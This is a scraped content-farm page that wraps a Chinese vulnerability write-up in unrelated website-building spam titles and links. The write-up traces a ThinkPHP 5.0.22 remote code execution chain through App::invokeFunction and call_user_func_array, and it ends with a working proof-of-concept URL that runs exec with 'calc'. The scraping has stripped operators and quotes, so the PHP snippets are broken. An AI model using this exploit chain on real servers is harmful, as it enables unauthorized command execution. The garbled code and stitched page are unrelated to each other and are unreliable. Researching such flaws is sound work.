当前位置: 首页 > news >正文

单位网站建设程序南通企业自助建站系统

单位网站建设程序,南通企业自助建站系统,小白怎么做无货源电商,网页升级访问新区域本次我们继续以漏洞挖掘者的视角#xff0c;来分析thinkphp的RCE 敏感函数发现 在调用入口函数#xff1a;/ThinkPHP_full_v5.0.22/public/index.php 时 发现了框架底层调用了\thinkphp\library\think\App.php的app类中的incokeMethod方法 注意传递的参数#xff0c;Refle…本次我们继续以漏洞挖掘者的视角来分析thinkphp的RCE 敏感函数发现 在调用入口函数/ThinkPHP_full_v5.0.22/public/index.php 时 发现了框架底层调用了\thinkphp\library\think\App.php的app类中的incokeMethod方法 注意传递的参数ReflectionMethod接受的参数。如果是数组的形式, 那么参数1是这个类的object,参数2是object的方法。如此就可以调用到index类的index方法 下面是整个调用链 那么现在思考incokeMethod方法接受的参数是否为为一个可控变量呢如果可控是不是就意味着我们可以执行任意类中的任意funtion了。这里我们还不能直接调用systemexec这些函数因为它们不属于任何类它是一个全局函数。尝试找一下类中的敏感函数 敏感函数调用 恰好的是就在app类中存在一个敏感的函数invokeFunction 下面给出一个ReflectionFunction的反射示例 function sum($a, $b) {return $a $b; }class Example {public static function bindParams($reflect, $vars) {$args [];foreach ($reflect-getParameters() as $param) {$name $param-getName();if (isset($vars[$name])) {$args[] $vars[$name];} else {$args[] $param-getDefaultValue();}}return $args;}public static function executeFunction($function, $vars) {$reflect new \ReflectionFunction($function);$args self::bindParams($reflect, $vars);// 记录执行信息self::$debug Log::record([ RUN ] . $reflect-__toString(), info);return $reflect-invokeArgs($args);} }$vars array(a 5,b 10, );$result Example::executeFunction(sum, $vars); echo $result; // 输出 15 在这个示例中ReflectionFunction函数没有牵扯到类sum是一个全局函数。如此我们现在可以尝试反射条用system函数了 下面是经过我测试的反射调用exec它可以弹出计算机 ?php $reflection new ReflectionFunction(exec); echo $reflection-getName() . \n; // 输出函数名 $params $reflection-getParameters(); foreach ($params as $param) {echo -----.参数 . $param-getName() . \n; }$args [calc]; $result $reflection-invokeArgs($args); //echo 结果 . $result . \n; ? 按照这个思路我就在invokeFunction中让参数$functionexec 让参数$vars [calc]就可以执行命令了不过在此之前看看它的bindParams逻辑 敏感函数绕过 跟进getParameters 继续看调用逻辑 看到这里原有的设定就遇到了问题因为这个参数绑定会遍历函数的参数名像我们之前想调用的exec函数其函数原型为 exec(string $command, array $output null, int $return_var null): string|false $reflect-getParameters() as $param 一定会依次得到command  - output -  return_var 如还想调用exec那参数vars 必须写上如下形式 $reflection new ReflectionFunction(exec); $vars [calc,null,null]; $result $reflection-invokeArgs($vars); 以上本地测试还行php正确接解析了null 然而在web中我们传递的参数大多为字符串除非后端单独处理否则我们想传递一个null类型的参数几乎是不可能的只能换其他的调用函数了要执行系统命令还要避开参数null这样的类型。system函数就不行有null类型 有没有我们需要的这严的函数呢 还真有一个它就是call_user_func_array函数 它的原型为 call_user_func_array(callable $callback, array $param_arr): mixed 再次本地测试 ?php$reflection new ReflectionFunction(call_user_func_array); $vars [exec,[calc]]; var_dump($vars); $result $reflection-invokeArgs($vars);? 如此我用参数绑定的机制把exec 绑定在参数callback 把[calc]绑定在param_arr通过$reflection-invokeArgs我们成功调用了calc 反射类似调用了call_user_func_array(exe,[calc])null的问题得到完美解决。 回顾一下rce成立的条件 invokeMethod调用invokeFunction  invokeFunction调用call_user_func_array call_user_func_array调用exec 代码大致长这样样子 invokeMethod([对象,方法],参数1) --------这里的对象对象要app类对象方法是invokeFunction  -------参数1为一个数组[call_user_func_array,参数2] 这样就可调用call_user_func_array我们将参数设置为[exec,[calc]] 就可以执行任意命令了。 接下来把重点放到参数可控上如果我们使参数可控那么RCE漏洞就成立了  参数可控分析 首先看调用了invokeMethod的地方 该段代码位于app类的module方法中 看一看call是怎么来的 $call是一个数组符合我们的预期我们要把这个instance换成app对象action换成invokeFunction。 继续向上分析 instance怎么得来的 继续分析controller怎么得到的 这个result参数参数得来的那就让result为一个数组  让其$result[1]app类路径。 如此参数$call的instance就解决了接下来看action 全局搜索action_suffix发现这个值为空不影响action继续分析actionName actionName的是result数组索引2获取的那好在传递module函数参数时让result为一个数组  让其$result[2]invokeFunction 如此$call的问题全部解决看看剩下的$vars 这里放上找vars是空的啊不要着急。既然vars向上找没有找到那么在想向下仔细找找是不是在调用的过程中被赋值。 向下走到invokeMethod方法中 bindParams对vars进行了处理 跟进去看看 全局搜索url_param_type发现它为0 也就说我们会走到param方法执行完毕后更新vars值 之后返回给变量$args。 进入param中 request对象中的param成员存储的是我们get参数的内容param可以写成我们构造的[call_user_func_array,参数2]它之后被返回了 在input方法中他会过滤一些值 之后返回data这个数组 好现在根据我们的猜想get传参functioncall_user_func_arrayvars[0]execvars[1][]calc 就可以上让request对象的param成员存储[call_user_func_array,参数2] 参数2是[exec,[calc]] 由此在调用invokeFunction之前$args就准备好了。 $vars的问题解决了 现在目光继续放在module 这个函数根据之前分析的让result为一个数组  让其$result[1]app类路径。让其$result[2]invokeFunction 继续向上分析exec会根据dispatch的type不同而调用module函数 传参是dispatch的module重点关注它 一样的思路在app类的run方法中最后会执行exec方法 执行exec方法之前它会初始dispatch 这个对象 我们跟进routecheck方法重点关注成员module result为我们准备返回值request-path将url中?s 之后的内容取了出来 这里注解提示了我们路由访问的规则可以参考下 这里depr/后面的controller_auto_search 是false 进入parseurl分析在parseurl 最后的返回中出现了module成员 这正是我们想要的 重点分析route是怎么出来的 其实这里我们就可以根据手册说明 尝试把controller修改为我们的app类地址action设置为 invokeFunctionmodule可以设置成index如果没有达到预期可以在调试 那么app的类地址是什么呢 如下写成think\app即可 下面就是调试版 跟如parseurlpath方法  这里的返回值是准备好的以“/”切分的数组之后分别赋给module controller action 如此参数的确可控RCE漏洞所有条件成立。poc打出成弹出计算机。 本次漏洞研究结束 赋值poc 127.0.0.1/ThinkPHP_full_v5.0.22/public/index.php?sindex/think\app/invokefunctionfunctioncall_user_func_arrayvars[0]execvars[1][]calc
http://www.pierceye.com/news/101452/

相关文章:

  • 安徽平台网站建设找哪家安阳实力网站建设首选
  • 企业网站的建设要注意哪些方面免费字体下载网站
  • 建怎样的网站挣钱快网站怎么做微博认证吗
  • 衡水做网站改版网站开发教程流程
  • 鞍山网站制作人才招聘广州网站优化步骤
  • 网站使用微信支付宁国网络推广
  • 成都网站建设六六济南网站制作公司
  • c 网站开发技术链友咨询
  • 手机网站推荐怎样做网站建设
  • 下载学校网站模板下载安装住建部官网查询
  • 模板网站新增备案两次都未通过网站也打不开电子商务网站建设实训报告文章
  • 做标签网站是干嘛的帐号售卖网站建设
  • 建设市民中心网站wordpress只显示标题插件
  • 网站备案的好处鲜花网站建设论文百度文库
  • 网站建设运营策划石家庄住房和建设局网站
  • 网站制作器公司网站虚假宣传但网站不是我做的
  • 大淘客网站建设婚庆网页设计作品dw
  • 嘉兴网站关键词优化后端开发流程
  • 有网络网站打不开怎么回事培训机构推广
  • 淄博网站建设优化珍云网站可信图标
  • 大连外贸网站建设江门营销网站建设
  • 县网站建设方案怎么做付费的小说网站
  • 企业公众号以及网站建设我想做个网站
  • 网站设为主页功能怎么做怎样制作h5
  • 网站的内容与功能设计微信公众平台小程序二维码怎么生成
  • 西安网站快速优化重庆明建网络科技有限公司干啥的
  • 广州市天河区门户网站软件制作公司
  • 做网站前期创建文件夹博罗高端网站建设价格
  • 襄阳网站建设价格淄博网站推广价格
  • 网站推广的软件六安网站制作哪里有